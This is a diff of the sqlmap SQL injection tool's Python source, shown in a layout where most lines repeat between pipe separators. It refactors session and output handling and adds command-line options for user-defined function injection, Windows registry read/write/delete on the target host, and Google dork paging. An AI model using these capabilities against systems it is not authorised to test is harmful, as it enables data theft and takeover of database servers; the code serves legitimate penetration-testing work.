conf.paramDict["Cookie"] = __paramDict
|
conf.paramDict["Cookie"] = __paramDict
|
||||||
@@ -91,7 +85,8 @@ def __setRequestParams():
|
|||||||
if conf.httpHeaders:
|
if conf.httpHeaders:
|
||||||
for httpHeader, headerValue in conf.httpHeaders:
|
for httpHeader, headerValue in conf.httpHeaders:
|
||||||
if httpHeader == "User-Agent":
|
if httpHeader == "User-Agent":
|
||||||
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
|
# No need for url encoding/decoding the user agent
|
||||||
|
conf.parameters["User-Agent"] = headerValue
|
||||||
|
|
||||||
condition = not conf.testParameter
|
condition = not conf.testParameter
|
||||||
condition |= "User-Agent" in conf.testParameter
|
condition |= "User-Agent" in conf.testParameter
|
||||||
@@ -113,13 +108,17 @@ def __setRequestParams():
|
|||||||
errMsg += "within the GET, POST and Cookie parameters"
|
errMsg += "within the GET, POST and Cookie parameters"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setOutputResume():
|
def __setOutputResume():
|
||||||
"""
|
"""
|
||||||
Check and set the output text file and the resume functionality.
|
Check and set the output text file and the resume functionality.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
if not conf.sessionFile:
|
||||||
|
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
|
||||||
|
|
||||||
|
logger.info("using '%s' as session file" % conf.sessionFile)
|
||||||
|
|
||||||
|
if os.path.exists(conf.sessionFile):
|
||||||
readSessionFP = open(conf.sessionFile, "r")
|
readSessionFP = open(conf.sessionFile, "r")
|
||||||
lines = readSessionFP.readlines()
|
lines = readSessionFP.readlines()
|
||||||
|
|
||||||
@@ -157,14 +156,12 @@ def __setOutputResume():
|
|||||||
|
|
||||||
readSessionFP.close()
|
readSessionFP.close()
|
||||||
|
|
||||||
if conf.sessionFile:
|
try:
|
||||||
try:
|
conf.sessionFP = open(conf.sessionFile, "a")
|
||||||
conf.sessionFP = open(conf.sessionFile, "a")
|
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
except IOError:
|
||||||
except IOError:
|
errMsg = "unable to write on the session file specified"
|
||||||
errMsg = "unable to write on the session file specified"
|
raise sqlmapFilePathException, errMsg
|
||||||
raise sqlmapFilePathException, errMsg
|
|
||||||
|
|
||||||
|
|
||||||
def __createFilesDir():
|
def __createFilesDir():
|
||||||
"""
|
"""
|
||||||
@@ -179,7 +176,6 @@ def __createFilesDir():
|
|||||||
if not os.path.isdir(conf.filePath):
|
if not os.path.isdir(conf.filePath):
|
||||||
os.makedirs(conf.filePath, 0755)
|
os.makedirs(conf.filePath, 0755)
|
||||||
|
|
||||||
|
|
||||||
def __createDumpDir():
|
def __createDumpDir():
|
||||||
"""
|
"""
|
||||||
Create the dump directory.
|
Create the dump directory.
|
||||||
@@ -193,6 +189,23 @@ def __createDumpDir():
|
|||||||
if not os.path.isdir(conf.dumpPath):
|
if not os.path.isdir(conf.dumpPath):
|
||||||
os.makedirs(conf.dumpPath, 0755)
|
os.makedirs(conf.dumpPath, 0755)
|
||||||
|
|
||||||
|
def createTargetDirs():
|
||||||
|
"""
|
||||||
|
Create the output directory.
|
||||||
|
"""
|
||||||
|
|
||||||
|
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||||
|
|
||||||
|
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||||
|
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||||
|
|
||||||
|
if not os.path.isdir(conf.outputPath):
|
||||||
|
os.makedirs(conf.outputPath, 0755)
|
||||||
|
|
||||||
|
dumper.setOutputFile()
|
||||||
|
|
||||||
|
__createDumpDir()
|
||||||
|
__createFilesDir()
|
||||||
|
|
||||||
def initTargetEnv():
|
def initTargetEnv():
|
||||||
"""
|
"""
|
||||||
@@ -216,22 +229,3 @@ def initTargetEnv():
|
|||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
__setRequestParams()
|
__setRequestParams()
|
||||||
__setOutputResume()
|
__setOutputResume()
|
||||||
|
|
||||||
|
|
||||||
def createTargetDirs():
|
|
||||||
"""
|
|
||||||
Create the output directory.
|
|
||||||
"""
|
|
||||||
|
|
||||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
|
||||||
|
|
||||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
|
||||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
|
||||||
|
|
||||||
if not os.path.isdir(conf.outputPath):
|
|
||||||
os.makedirs(conf.outputPath, 0755)
|
|
||||||
|
|
||||||
dumper.setOutputFile()
|
|
||||||
|
|
||||||
__createDumpDir()
|
|
||||||
__createFilesDir()
|
|
||||||
|
|||||||
@@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class Unescaper:
|
class Unescaper:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__unescaper = None
|
self.__unescaper = None
|
||||||
|
|
||||||
|
|
||||||
def setUnescape(self, unescapeFunction):
|
def setUnescape(self, unescapeFunction):
|
||||||
self.__unescaper = unescapeFunction
|
self.__unescaper = unescapeFunction
|
||||||
|
|
||||||
|
|
||||||
def unescape(self, expression, quote=True):
|
def unescape(self, expression, quote=True):
|
||||||
return self.__unescaper(expression, quote=quote)
|
return self.__unescaper(expression, quote=quote)
|
||||||
|
|
||||||
|
|
||||||
unescaper = Unescaper()
|
unescaper = Unescaper()
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import difflib
|
import difflib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
@@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
|
|||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __updateMSSQLXML():
|
def __updateMSSQLXML():
|
||||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -109,12 +106,15 @@ def __updateMSSQLXML():
|
|||||||
servicePack = servicePack[:servicePack.index("-")]
|
servicePack = servicePack[:servicePack.index("-")]
|
||||||
if "*" in servicePack:
|
if "*" in servicePack:
|
||||||
servicePack = servicePack[:servicePack.index("*")]
|
servicePack = servicePack[:servicePack.index("*")]
|
||||||
|
if servicePack.startswith("+"):
|
||||||
|
servicePack = "0%s" % servicePack
|
||||||
|
|
||||||
servicePack = servicePack.replace("\t", " ")
|
servicePack = servicePack.replace("\t", " ")
|
||||||
servicePack = servicePack.replace(" ", " ")
|
servicePack = servicePack.replace(" ", " ")
|
||||||
servicePack = servicePack.replace("No SP", "0")
|
servicePack = servicePack.replace("No SP", "0")
|
||||||
servicePack = servicePack.replace("RTM", "0")
|
servicePack = servicePack.replace("RTM", "0")
|
||||||
servicePack = servicePack.replace("SP", "")
|
servicePack = servicePack.replace("SP", "")
|
||||||
|
servicePack = servicePack.replace("Service Pack", "")
|
||||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||||
|
|
||||||
if servicePack.endswith(" "):
|
if servicePack.endswith(" "):
|
||||||
@@ -196,7 +196,6 @@ def __updateMSSQLXML():
|
|||||||
infoMsg += "last update"
|
infoMsg += "last update"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __createFile(pathname, data):
|
def __createFile(pathname, data):
|
||||||
mkpath(os.path.dirname(pathname))
|
mkpath(os.path.dirname(pathname))
|
||||||
|
|
||||||
@@ -204,8 +203,7 @@ def __createFile(pathname, data):
|
|||||||
fileFP.write(data)
|
fileFP.write(data)
|
||||||
fileFP.close()
|
fileFP.close()
|
||||||
|
|
||||||
|
def __extractZipFile(tempDir, zipFile):
|
||||||
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
|
||||||
# Check if the saved binary file is really a ZIP file
|
# Check if the saved binary file is really a ZIP file
|
||||||
if zipfile.is_zipfile(zipFile):
|
if zipfile.is_zipfile(zipFile):
|
||||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||||
@@ -218,7 +216,6 @@ def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
|||||||
data = sqlmapZipFile.read(info.filename)
|
data = sqlmapZipFile.read(info.filename)
|
||||||
__createFile(os.path.join(tempDir, info.filename), data)
|
__createFile(os.path.join(tempDir, info.filename), data)
|
||||||
|
|
||||||
|
|
||||||
def __updateSqlmap():
|
def __updateSqlmap():
|
||||||
infoMsg = "updating sqlmap"
|
infoMsg = "updating sqlmap"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -285,13 +282,11 @@ def __updateSqlmap():
|
|||||||
tempDir = tempfile.gettempdir()
|
tempDir = tempfile.gettempdir()
|
||||||
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||||
__createFile(zipFile, sqlmapBinaryString)
|
__createFile(zipFile, sqlmapBinaryString)
|
||||||
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
|
__extractZipFile(tempDir, zipFile)
|
||||||
|
|
||||||
# For each file and directory in the temporary directory copy it
|
# For each file and directory in the temporary directory copy it
|
||||||
# to the sqlmap root path and set right permission
|
# to the sqlmap root path and set right permission
|
||||||
# TODO: remove files not needed anymore and all pyc within the
|
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||||
# sqlmap root path in the end
|
|
||||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
|
||||||
# Just for development release
|
# Just for development release
|
||||||
if '.svn' in root:
|
if '.svn' in root:
|
||||||
continue
|
continue
|
||||||
@@ -331,7 +326,6 @@ def __updateSqlmap():
|
|||||||
infoMsg = "sqlmap updated successfully"
|
infoMsg = "sqlmap updated successfully"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def update():
|
def update():
|
||||||
if not conf.updateAll:
|
if not conf.updateAll:
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
@@ -35,7 +33,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.parse.handler import FingerprintHandler
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
class MSSQLBannerHandler(ContentHandler):
|
class MSSQLBannerHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse and extract information from the
|
This class defines methods to parse and extract information from the
|
||||||
@@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
@@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
|
|
||||||
self.__info[key] = value
|
self.__info[key] = value
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "signatures":
|
if name == "signatures":
|
||||||
self.__release = sanitizeStr(attrs.get("release"))
|
self.__release = sanitizeStr(attrs.get("release"))
|
||||||
@@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
elif name == "servicepack":
|
elif name == "servicepack":
|
||||||
self.__inServicePack = True
|
self.__inServicePack = True
|
||||||
|
|
||||||
|
|
||||||
def characters(self, data):
|
def characters(self, data):
|
||||||
if self.__inVersion:
|
if self.__inVersion:
|
||||||
self.__version += sanitizeStr(data)
|
self.__version += sanitizeStr(data)
|
||||||
elif self.__inServicePack:
|
elif self.__inServicePack:
|
||||||
self.__servicePack += sanitizeStr(data)
|
self.__servicePack += sanitizeStr(data)
|
||||||
|
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "signature":
|
if name == "signature":
|
||||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||||
@@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
|
|
||||||
|
|
||||||
elif name == "version":
|
elif name == "version":
|
||||||
self.__inVersion = False
|
self.__inVersion = False
|
||||||
self.__version = self.__version.replace(" ", "")
|
self.__version = self.__version.replace(" ", "")
|
||||||
@@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
|
|||||||
self.__inServicePack = False
|
self.__inServicePack = False
|
||||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||||
|
|
||||||
|
|
||||||
def bannerParser(banner):
|
def bannerParser(banner):
|
||||||
"""
|
"""
|
||||||
This function calls a class to extract information from the given
|
This function calls a class to extract information from the given
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from optparse import OptionError
|
from optparse import OptionError
|
||||||
@@ -33,7 +31,6 @@ from optparse import OptionParser
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
def cmdLineParser():
|
def cmdLineParser():
|
||||||
"""
|
"""
|
||||||
This function parses the command line parameters and arguments
|
This function parses the command line parameters and arguments
|
||||||
@@ -62,7 +59,6 @@ def cmdLineParser():
|
|||||||
target.add_option("-c", dest="configFile",
|
target.add_option("-c", dest="configFile",
|
||||||
help="Load options from a configuration INI file")
|
help="Load options from a configuration INI file")
|
||||||
|
|
||||||
|
|
||||||
# Request options
|
# Request options
|
||||||
request = OptionGroup(parser, "Request", "These options can be used "
|
request = OptionGroup(parser, "Request", "These options can be used "
|
||||||
"to specify how to connect to the target url.")
|
"to specify how to connect to the target url.")
|
||||||
@@ -76,8 +72,8 @@ def cmdLineParser():
|
|||||||
request.add_option("--cookie", dest="cookie",
|
request.add_option("--cookie", dest="cookie",
|
||||||
help="HTTP Cookie header")
|
help="HTTP Cookie header")
|
||||||
|
|
||||||
request.add_option("--referer", dest="referer",
|
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
||||||
help="HTTP Referer header")
|
help="Ignore Set-Cookie header from response")
|
||||||
|
|
||||||
request.add_option("--user-agent", dest="agent",
|
request.add_option("--user-agent", dest="agent",
|
||||||
help="HTTP User-Agent header")
|
help="HTTP User-Agent header")
|
||||||
@@ -86,12 +82,15 @@ def cmdLineParser():
|
|||||||
help="Load a random HTTP User-Agent "
|
help="Load a random HTTP User-Agent "
|
||||||
"header from file")
|
"header from file")
|
||||||
|
|
||||||
|
request.add_option("--referer", dest="referer",
|
||||||
|
help="HTTP Referer header")
|
||||||
|
|
||||||
request.add_option("--headers", dest="headers",
|
request.add_option("--headers", dest="headers",
|
||||||
help="Extra HTTP headers newline separated")
|
help="Extra HTTP headers newline separated")
|
||||||
|
|
||||||
request.add_option("--auth-type", dest="aType",
|
request.add_option("--auth-type", dest="aType",
|
||||||
help="HTTP Authentication type (value "
|
help="HTTP Authentication type (value "
|
||||||
"Basic or Digest)")
|
"Basic, Digest or NTLM)")
|
||||||
|
|
||||||
request.add_option("--auth-cred", dest="aCred",
|
request.add_option("--auth-cred", dest="aCred",
|
||||||
help="HTTP Authentication credentials (value "
|
help="HTTP Authentication credentials (value "
|
||||||
@@ -115,7 +114,6 @@ def cmdLineParser():
|
|||||||
help="Retries when the connection timeouts "
|
help="Retries when the connection timeouts "
|
||||||
"(default 3)")
|
"(default 3)")
|
||||||
|
|
||||||
|
|
||||||
# Injection options
|
# Injection options
|
||||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||||
"used to specify which parameters to test "
|
"used to specify which parameters to test "
|
||||||
@@ -156,7 +154,6 @@ def cmdLineParser():
|
|||||||
help="Matches to be excluded before "
|
help="Matches to be excluded before "
|
||||||
"comparing page contents")
|
"comparing page contents")
|
||||||
|
|
||||||
|
|
||||||
# Techniques options
|
# Techniques options
|
||||||
techniques = OptionGroup(parser, "Techniques", "These options can "
|
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||||
"be used to test for specific SQL injection "
|
"be used to test for specific SQL injection "
|
||||||
@@ -191,7 +188,6 @@ def cmdLineParser():
|
|||||||
"to retrieve the queries output. No "
|
"to retrieve the queries output. No "
|
||||||
"need to go blind")
|
"need to go blind")
|
||||||
|
|
||||||
|
|
||||||
# Fingerprint options
|
# Fingerprint options
|
||||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||||
|
|
||||||
@@ -199,7 +195,6 @@ def cmdLineParser():
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Perform an extensive DBMS version fingerprint")
|
help="Perform an extensive DBMS version fingerprint")
|
||||||
|
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||||
"be used to enumerate the back-end database "
|
"be used to enumerate the back-end database "
|
||||||
@@ -245,7 +240,7 @@ def cmdLineParser():
|
|||||||
|
|
||||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||||
help="Dump DBMS database table entries "
|
help="Dump DBMS database table entries "
|
||||||
"(req -T, opt -D, -C, --start, --stop)")
|
"(req -T, opt -D, -C)")
|
||||||
|
|
||||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||||
help="Dump all DBMS databases tables entries")
|
help="Dump all DBMS databases tables entries")
|
||||||
@@ -268,10 +263,16 @@ def cmdLineParser():
|
|||||||
"enumerating tables")
|
"enumerating tables")
|
||||||
|
|
||||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||||
help="First table entry to dump")
|
help="First query output entry to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||||
help="Last table entry to dump")
|
help="Last query output entry to retrieve")
|
||||||
|
|
||||||
|
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||||
|
help="First query output word character to retrieve")
|
||||||
|
|
||||||
|
enumeration.add_option("--last", dest="lastChar", type="int",
|
||||||
|
help="Last query output word character to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--sql-query", dest="query",
|
enumeration.add_option("--sql-query", dest="query",
|
||||||
help="SQL statement to be executed")
|
help="SQL statement to be executed")
|
||||||
@@ -280,6 +281,16 @@ def cmdLineParser():
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Prompt for an interactive SQL shell")
|
help="Prompt for an interactive SQL shell")
|
||||||
|
|
||||||
|
# User-defined function options
|
||||||
|
udf = OptionGroup(parser, "User-defined function injection", "These "
|
||||||
|
"options can be used to create custom user-defined "
|
||||||
|
"functions.")
|
||||||
|
|
||||||
|
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
||||||
|
help="Inject custom user-defined functions")
|
||||||
|
|
||||||
|
udf.add_option("--shared-lib", dest="shLib",
|
||||||
|
help="Local path of the shared library")
|
||||||
|
|
||||||
# File system options
|
# File system options
|
||||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||||
@@ -335,19 +346,49 @@ def cmdLineParser():
|
|||||||
help="Remote absolute path of temporary files "
|
help="Remote absolute path of temporary files "
|
||||||
"directory")
|
"directory")
|
||||||
|
|
||||||
|
# Windows registry options
|
||||||
|
windows = OptionGroup(parser, "Windows registry access", "This "
|
||||||
|
"option can be used to access the back-end "
|
||||||
|
"database management system Windows "
|
||||||
|
"registry.")
|
||||||
|
|
||||||
|
windows.add_option("--reg-read", dest="regRead", action="store_true",
|
||||||
|
help="Read a Windows registry key value")
|
||||||
|
|
||||||
|
windows.add_option("--reg-add", dest="regAdd", action="store_true",
|
||||||
|
help="Write a Windows registry key value data")
|
||||||
|
|
||||||
|
windows.add_option("--reg-del", dest="regDel", action="store_true",
|
||||||
|
help="Delete a Windows registry key value")
|
||||||
|
|
||||||
|
windows.add_option("--reg-key", dest="regKey",
|
||||||
|
help="Windows registry key")
|
||||||
|
|
||||||
|
windows.add_option("--reg-value", dest="regVal",
|
||||||
|
help="Windows registry key value")
|
||||||
|
|
||||||
|
windows.add_option("--reg-data", dest="regData",
|
||||||
|
help="Windows registry key value data")
|
||||||
|
|
||||||
|
windows.add_option("--reg-type", dest="regType",
|
||||||
|
help="Windows registry key value type")
|
||||||
|
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||||
|
|
||||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
|
||||||
help="Display for each output the "
|
|
||||||
"estimated time of arrival")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
|
||||||
help="Update sqlmap to the latest stable version")
|
|
||||||
|
|
||||||
miscellaneous.add_option("-s", dest="sessionFile",
|
miscellaneous.add_option("-s", dest="sessionFile",
|
||||||
help="Save and resume all data retrieved "
|
help="Save and resume all data retrieved "
|
||||||
"on a session file")
|
"on a session file")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||||
|
help="Display for each output the "
|
||||||
|
"estimated time of arrival")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
||||||
|
help="Use google dork results from specified page number")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||||
|
help="Update sqlmap to the latest stable version")
|
||||||
|
|
||||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||||
help="Save options on a configuration INI file")
|
help="Save options on a configuration INI file")
|
||||||
@@ -365,8 +406,10 @@ def cmdLineParser():
|
|||||||
parser.add_option_group(techniques)
|
parser.add_option_group(techniques)
|
||||||
parser.add_option_group(fingerprint)
|
parser.add_option_group(fingerprint)
|
||||||
parser.add_option_group(enumeration)
|
parser.add_option_group(enumeration)
|
||||||
|
parser.add_option_group(udf)
|
||||||
parser.add_option_group(filesystem)
|
parser.add_option_group(filesystem)
|
||||||
parser.add_option_group(takeover)
|
parser.add_option_group(takeover)
|
||||||
|
parser.add_option_group(windows)
|
||||||
parser.add_option_group(miscellaneous)
|
parser.add_option_group(miscellaneous)
|
||||||
|
|
||||||
(args, _) = parser.parse_args()
|
(args, _) = parser.parse_args()
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from ConfigParser import NoSectionError
|
from ConfigParser import NoSectionError
|
||||||
from ConfigParser import ConfigParser
|
from ConfigParser import ConfigParser
|
||||||
|
|
||||||
@@ -33,10 +31,8 @@ from lib.core.data import logger
|
|||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
|
|
||||||
|
|
||||||
config = None
|
config = None
|
||||||
|
|
||||||
|
|
||||||
def configFileProxy(section, option, boolean=False, integer=False):
|
def configFileProxy(section, option, boolean=False, integer=False):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
@@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
|
|||||||
debugMsg += "ignoring. Skipping to next."
|
debugMsg += "ignoring. Skipping to next."
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def configFileParser(configFile):
|
def configFileParser(configFile):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
|
|||||||
@@ -22,15 +22,9 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import kb
|
|
||||||
|
|
||||||
|
|
||||||
class FingerprintHandler(ContentHandler):
|
class FingerprintHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
@@ -46,7 +40,6 @@ class FingerprintHandler(ContentHandler):
|
|||||||
self.__techVersion = None
|
self.__techVersion = None
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
@@ -62,7 +55,6 @@ class FingerprintHandler(ContentHandler):
|
|||||||
for v in value.split("|"):
|
for v in value.split("|"):
|
||||||
self.__info[key].add(v)
|
self.__info[key].add(v)
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "regexp":
|
if name == "regexp":
|
||||||
self.__regexp = sanitizeStr(attrs.get("value"))
|
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||||
|
|||||||
@@ -22,9 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
import re
|
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
|
||||||
@@ -33,7 +31,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.parse.handler import FingerprintHandler
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
def headersParser(headers):
|
def headersParser(headers):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTTP headers to
|
This function calls a class that parses the input HTTP headers to
|
||||||
@@ -48,13 +45,13 @@ def headersParser(headers):
|
|||||||
kb.headersCount += 1
|
kb.headersCount += 1
|
||||||
|
|
||||||
topHeaders = {
|
topHeaders = {
|
||||||
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||||
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||||
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||||
